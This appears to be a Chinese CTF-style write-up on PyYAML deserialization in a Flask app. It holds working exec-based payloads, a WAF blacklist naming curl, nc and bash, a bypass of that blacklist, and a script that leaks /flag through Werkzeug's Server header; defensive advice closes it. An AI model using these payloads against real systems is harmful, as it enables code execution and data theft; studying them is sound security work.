Yaml反序列化name标签打响应头回显
字数 1046 2025-08-22 12:22:54

YAML反序列化漏洞利用与响应头回显技术详解

1. 漏洞背景与代码审计

1.1 漏洞环境分析

这是一个基于Flask框架的Web应用,存在两个关键路由:

  1. /upload - 允许上传YAML文件
  2. /Yam1 - 读取并反序列化上传的YAML文件

关键漏洞点在于yaml.load()函数的使用,这可能导致反序列化漏洞。

1.2 代码审计要点

def waf(input_str):
    blacklist_terms = {
        'apply', 'subprocess', 'os', 'map', 'system', 'popen', 'eval', 
        'sleep', 'setstate', 'command', 'static', 'templates', 'session', 
        '&', 'globals', 'builtins', 'run', 'ntimeit', 'bash', 'zsh', 'sh', 
        'curl', 'nc', 'env', 'before_request', 'after_request', 'error_handler', 
        'add_url_rule', 'teardown_request', 'teardown_appcontext', '\\u', 
        '\\x', '+', 'base64', 'join'
    }
    # ... 检查黑名单 ...

WAF过滤了大量危险关键词,但exec函数未被过滤,这成为利用的关键。

2. YAML反序列化漏洞利用

2.1 基本利用原理

高版本Python的YAML反序列化可以利用!!python/object/new:type构造恶意对象:

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec}]
listitems: "__import__('os').system('whoami')"
  • type类用于创建新类型
  • extend属性在创建时会被调用
  • listitems作为参数传递给extend方法

2.2 绕过WAF的技巧

由于直接命令执行被过滤,可以采用以下方法:

  1. 使用exec代替eval:WAF未过滤exec
  2. URL编码绕过:对payload进行URL编码
  3. 间接调用:通过其他未被过滤的函数间接执行命令

3. 响应头回显技术

3.1 无回显场景下的数据外带

当目标不出网时,可以通过修改Flask的Server响应头带出数据:

import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version", '想要带出的数据')

原理:

  • Werkzeug的WSGIRequestHandler处理请求头
  • Server头的值是server_versionsys_version属性拼接
  • 修改server_version可以控制响应头中的部分内容

3.2 完整利用Payload

读取文件并通过Server头回显的YAML payload:

!!python/object/new:type
args: 
  - exp 
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: |
  bb=open("/flag").read()
  import werkzeug
  setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb)  

4. 自动化利用脚本

import requests

url = 'http://target.com/'
content = """!!python/object/new:type
args: 
  - exp 
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: |
  bb=open("/flag").read()
  import werkzeug
  setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb)
"""

files = {'file': ('exp.yaml', content, 'application/octet-stream')}
response = requests.post(url + 'upload', files=files)
print(response.status_code, response.text)

res = requests.get(url=url + 'Yam1?filename=exp')
print(res.headers)  # 在Server头中获取flag

5. 防御建议

  1. 避免使用yaml.load():使用安全的yaml.safe_load()
  2. 加强WAF规则:增加对execwerkzeug等关键字的过滤
  3. 输入验证:严格限制上传文件的内容
  4. 输出编码:对响应头进行适当的编码处理
  5. 最小权限原则:应用运行在低权限账户下

6. 扩展思考

  1. 其他可能的数据外带方式:

    • 通过HTTP状态码
    • 通过响应时间差异
    • 通过DNS查询
  2. 其他可利用的Python特性:

    • 利用__reduce__方法
    • 通过pickle模块的类似漏洞
    • 利用Python的导入机制
  3. 更复杂的WAF绕过技术:

    • 字符串拼接
    • 字符编码转换
    • 利用Python的反射机制

通过深入理解YAML反序列化机制和Web框架的内部工作原理,可以开发出更有效的攻击和防御策略。

YAML反序列化漏洞利用与响应头回显技术详解 1. 漏洞背景与代码审计 1.1 漏洞环境分析 这是一个基于Flask框架的Web应用,存在两个关键路由: /upload - 允许上传YAML文件 /Yam1 - 读取并反序列化上传的YAML文件 关键漏洞点在于 yaml.load() 函数的使用,这可能导致反序列化漏洞。 1.2 代码审计要点 WAF过滤了大量危险关键词,但 exec 函数未被过滤,这成为利用的关键。 2. YAML反序列化漏洞利用 2.1 基本利用原理 高版本Python的YAML反序列化可以利用 !!python/object/new:type 构造恶意对象: type 类用于创建新类型 extend 属性在创建时会被调用 listitems 作为参数传递给 extend 方法 2.2 绕过WAF的技巧 由于直接命令执行被过滤,可以采用以下方法: 使用exec代替eval :WAF未过滤exec URL编码绕过 :对payload进行URL编码 间接调用 :通过其他未被过滤的函数间接执行命令 3. 响应头回显技术 3.1 无回显场景下的数据外带 当目标不出网时,可以通过修改Flask的Server响应头带出数据: 原理: Werkzeug的 WSGIRequestHandler 处理请求头 Server 头的值是 server_version 和 sys_version 属性拼接 修改 server_version 可以控制响应头中的部分内容 3.2 完整利用Payload 读取文件并通过Server头回显的YAML payload: 4. 自动化利用脚本 5. 防御建议 避免使用yaml.load() :使用安全的 yaml.safe_load() 加强WAF规则 :增加对 exec 、 werkzeug 等关键字的过滤 输入验证 :严格限制上传文件的内容 输出编码 :对响应头进行适当的编码处理 最小权限原则 :应用运行在低权限账户下 6. 扩展思考 其他可能的数据外带方式: 通过HTTP状态码 通过响应时间差异 通过DNS查询 其他可利用的Python特性: 利用 __reduce__ 方法 通过 pickle 模块的类似漏洞 利用Python的导入机制 更复杂的WAF绕过技术: 字符串拼接 字符编码转换 利用Python的反射机制 通过深入理解YAML反序列化机制和Web框架的内部工作原理,可以开发出更有效的攻击和防御策略。